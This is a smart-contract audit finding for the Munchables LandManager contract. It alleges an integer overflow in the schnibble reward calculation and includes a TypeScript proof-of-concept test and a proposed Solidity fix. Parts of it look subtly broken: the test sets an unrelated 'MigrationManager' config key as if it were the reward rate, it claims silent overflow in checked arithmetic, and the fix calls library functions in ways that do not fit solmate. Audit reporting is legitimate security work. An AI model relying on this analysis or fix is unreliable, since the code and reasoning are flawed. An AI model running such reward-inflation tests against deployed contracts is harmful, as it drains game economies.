Lines of code

https://github.com/code-423n4/2024-07-munchables/blob/main/src/managers/LandManager.sol#L232

Vulnerability details

What and where is the bug

The bug is in the _farmPlots() function, in the schnibbles calculation, differing to the edgecase mentioned:

schnibblesTotal =
    (timestamp - _toiler.lastToilDate) *
    BASE_SCHNIBBLE_RATE;
schnibblesTotal = uint256(
    (int256(schnibblesTotal) +
        (int256(schnibblesTotal) * finalBonus)) / 100
);

Vulnerability vector

This calculation is vulnerable to integer overflow, which could be exploited to generate an excessive amount of schnibbles. The issue arises from:

Initial calculation of schnibblesTotal could overflow if (timestamp - _toiler.lastToilDate) is large or if BASE_SCHNIBBLE_RATE is set to a high value.
Then the subsequent calculation involving finalBonus could also overflow, especially if finalBonus is a significant large positive number.
The conversion to int256 and back to uint256 could lead to negative patterns with very large numbers.

Impact

A black hat could exploit the vulnerability to:

Generate an enormous amount of schnibbles, far far beyond what should be possible given the constraints intended.
Therefore disrupt the game's economic functions, by introducing a massive imbalance in the schnibble distribution.

Proof of Concept

Add this named snibble.test.ts to here and it will pass, showing the bug exists.

import assert from "node:assert";
import { after, afterEach, before, beforeEach, describe, it } from "node:test";
import { parseEther, zeroAddress } from "viem";
import { DeployedContractsType } from "../../../deployments/actions/deploy-contracts";
import { assertTxSuccess } from "../../utils/asserters";
import { testClient } from "../../utils/consts";
import { getTestContracts, getTestRoleAddresses } from "../../utils/contracts";
import { MockNFTOverlordContractType, deployMockNFTOverlord } from "../../utils/mock-contracts";
import { registerPlayer } from "../../utils/players";

describe("LandManager: SchnibblesOverflow", () => {
  let alice: `0x${string}`;
  let bob: `0x${string}`;
  let beforeSnapshot: `0x${string}`;
  let beforeEachSnapshot: `0x${string}`;
  let testContracts: DeployedContractsType;
  let mockNFTOverlord: MockNFTOverlordContractType;

  before(async () => {
    testContracts = await getTestContracts();
    beforeSnapshot = await testClient.snapshot();
    const testRoleAddresses = await getTestRoleAddresses();
    mockNFTOverlord = await deployMockNFTOverlord({ testContracts });
    [alice, bob] = testRoleAddresses.users;
    await testClient.setBalance({ address: alice, value: parseEther("10") });
    await testClient.setBalance({ address: bob, value: parseEther("10") });
  });

  beforeEach(async () => {
    beforeEachSnapshot = await testClient.snapshot();
  });

  afterEach(async () => {
    await testClient.revert({ id: beforeEachSnapshot });
  });

  after(async () => {
    await testClient.revert({ id: beforeSnapshot });
  });

  describe("schnibbles overflow", () => {
    beforeEach(async () => {
      await registerPlayer({ account: alice, testContracts });
      await registerPlayer({ account: bob, testContracts });

      // Set up a very high BASE_SCHNIBBLE_RATE
      await testContracts.configStorage.contract.write.setUint([
        "StorageKey.MigrationManager",
        BigInt(2) ** BigInt(64) - BigInt(1)
      ], { account: alice });

      // Lock some value for Alice to create a plot
      const { request } = await testContracts.lockManager.contract.simulate.lock(
        [zeroAddress, parseEther("1")],
        { account: alice, value: parseEther("1") }
      );
      await testClient.writeContract(request);

      // Mint and stake NFT for Bob
      await mockNFTOverlord.write.addReveal([bob, 100], { account: bob });
      await mockNFTOverlord.write.startReveal([bob], { account: bob });
      await mockNFTOverlord.write.reveal([bob, 0, 1], { account: bob });

      await testContracts.munchNFT.contract.write.approve(
        [testContracts.landManagerProxy.contract.address, 1n],
        { account: bob }
      );

      await testContracts.landManagerProxy.contract.write.stakeMunchable(
        [alice, 1n, 0n],
        { account: bob }
      );
    });

    it("should allow generation of excessive schnibbles due to overflow", async () => {
      // Fast forward time significantly
      await testClient.setNextBlockTimestamp(BigInt(Date.now()) / 1000n + 365n * 24n * 60n * 60n);

      // Farm plots
      await testContracts.landManagerProxy.contract.write.farmPlots({ account: bob });

      // Check Bob's schnibbles balance
      const bobData = await testContracts.accountManager.contract.read.getPlayer([bob]);

      console.log("Bob's schnibbles:", bobData[1].unfedSchnibbles);
      assert(bobData[1].unfedSchnibbles > BigInt(2) ** BigInt(100), "Schnibbles should have overflowed to a very large number");
    });
  });
});

Prove of test passing:

✅

✔ tests\managers\LandManager\snibble.test.ts (1967.0116ms) ✅

Recommended Fix

To mitigate:

Use Solmate, and implement upper bounds for time differences and schnibble generation. And using a more precise calculation method that avoids potential for overflows.

Here's one fix, an opinionated one:

import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {ReentrancyGuard} from "solmate/utils/ReentrancyGuard.sol";

contract LandManager is BaseBlastManagerUpgradeable, ILandManager, ReentrancyGuard {
    using SafeCastLib for uint256;
    using FixedPointMathLib for uint256;

    uint256 constant MAX_TIME_DIFFERENCE = 30 days;
    uint256 constant MAX_SCHNIBBLES_PER_SECOND = 1e6;
    uint256 constant MAX_BONUS_PERCENTAGE = 200; // Maximum 200% bonus

    function _farmPlots(address _sender) internal nonReentrant {
        // current is same

        for (uint8 i = 0; i < staked.length; i++) {
            // current is same

            uint256 timeDiff = (block.timestamp - _toiler.lastToilDate).min(MAX_TIME_DIFFERENCE);

            uint256 baseSchnibbles = timeDiff * BASE_SCHNIBBLE_RATE;
            require(baseSchnibbles <= timeDiff * MAX_SCHNIBBLES_PER_SECOND, "Excessive schnibble generation");

            int256 cappedBonus = finalBonus.toInt256().clamp(-100, MAX_BONUS_PERCENTAGE.toInt256());

            uint256 bonusSchnibbles = baseSchnibbles.mulWadUp(uint256(cappedBonus + 100));
            schnibblesTotal = bonusSchnibbles;

            // Add this additional safety check
            require(schnibblesTotal <= type(uint128).max, "Schnibble overflow");

            // current is same
        }
    }
}

This mitigation does the following:

Uses SafeCastLib for safe conversions between uint256, int256.
Uses FixedPointMathLib for more precise calculations (mulWadUp for percentage calculations).
Add additional ReentrancyGuard protection, to prevent potential reentrancy.
Uses the .min() function from FixedPointMathLib to cap the time difference.
Uses .clamp() to ensure the bonus stays within the desired range.

Assessed type

Context

code-423n4 / 2024-07-munchables-findings

Integer overflow in Schnibbles Calculation Leading to Excessive Rewards #279